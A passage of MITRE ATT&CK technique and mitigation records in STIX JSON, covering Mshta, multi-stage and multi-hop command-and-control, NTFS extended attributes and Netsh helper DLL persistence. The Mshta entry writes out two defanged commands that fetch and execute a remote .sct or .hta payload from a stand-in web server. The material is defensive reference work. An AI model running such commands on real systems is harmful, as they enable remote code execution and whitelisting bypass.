            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Mshta",
            "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, @yeyint_mth",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1170",
                    "external_id": "T1170"
                },
                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML%20Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
                },
                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "source_name": "FireEye Attacks Leveraging HTA",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                },
                {
                    "source_name": "Airbus Security Kovter Analysis",
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017."
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "GitHub SubTee The List",
                    "description": "[ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Ye Yint Min Thu Htut, @yeyint_mth"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multi-Stage Channels Mitigation",
            "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1104",
                    "external_id": "T1104"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:15.935Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multi-Stage Channels",
            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1104",
                    "external_id": "T1104"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Netflow/Enclave netflow",
                "Network device logs",
                "Network protocol analysis",
                "Packet capture",
                "Process use of network"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multi-hop Proxy Mitigation",
            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1188",
                    "external_id": "T1188"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multi-hop Proxy",
            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.  This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as ) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
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                    "phase_name": "command-and-control"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1188",
                    "external_id": "T1188"
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                "Network protocol analysis",
                "Netflow/Enclave netflow"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multiband Communication Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1026",
                    "external_id": "T1026"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:32.259Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Some adversaries may split communications between different protocols.  There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.  The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "x_mitre_platforms": [
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
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        {
            "type": "course-of-action",
            "id": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multilayer Encryption Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1079",
                    "external_id": "T1079"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:01.315Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Multilayer Encryption",
            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
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                    "phase_name": "command-and-control"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1079",
                    "external_id": "T1079"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
                },
                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
                }
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            "x_mitre_network_requirements": true,
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            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "NTFS Extended Attributes Mitigation",
            "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1096",
                    "external_id": "T1096"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:11.147Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "NTFS Extended Attributes",
            "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1096",
                    "external_id": "T1096"
                },
                {
                    "source_name": "Journey into IR ZeroAccess NTFS EA",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                    "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"
                },
                {
                    "source_name": "Microsoft File Streams",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa364404"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
                "File monitoring",
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            "x_mitre_defense_bypassed": [
                "Signature-based detection",
                "Anti-virus",
                "Host forensic analysis"
            ],
            "x_mitre_system_requirements": [
                "NTFS partitioned hard drive"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Netsh Helper DLL Mitigation",
            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1128",
                    "external_id": "T1128"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
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            "type": "attack-pattern",
            "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:40.168Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Netsh Helper DLL",
            "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1128",
                    "external_id": "T1128"
                },
                {
                    "source_name": "TechNet Netsh",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "url": "https://technet.microsoft.com/library/bb490939.aspx"
                },
                {
                    "source_name": "Demaske Netsh Persistence",
                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
                    "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"
                },
                {
                    "source_name": "Github Netsh Helper CS Beacon",
                    "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
                    "url": "https://github.com/outflankbv/NetshHelperBeacon"
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            ],
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            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "DLL monitoring",
                "Windows Registry"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_system_requirements": [
                "[[Software/S0108|netsh]]"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Service Scanning Mitigation",
            "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1046",
                    "external_id": "T1046"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
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            "type": "attack-pattern",
            "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:43.915Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Network Service Scanning",
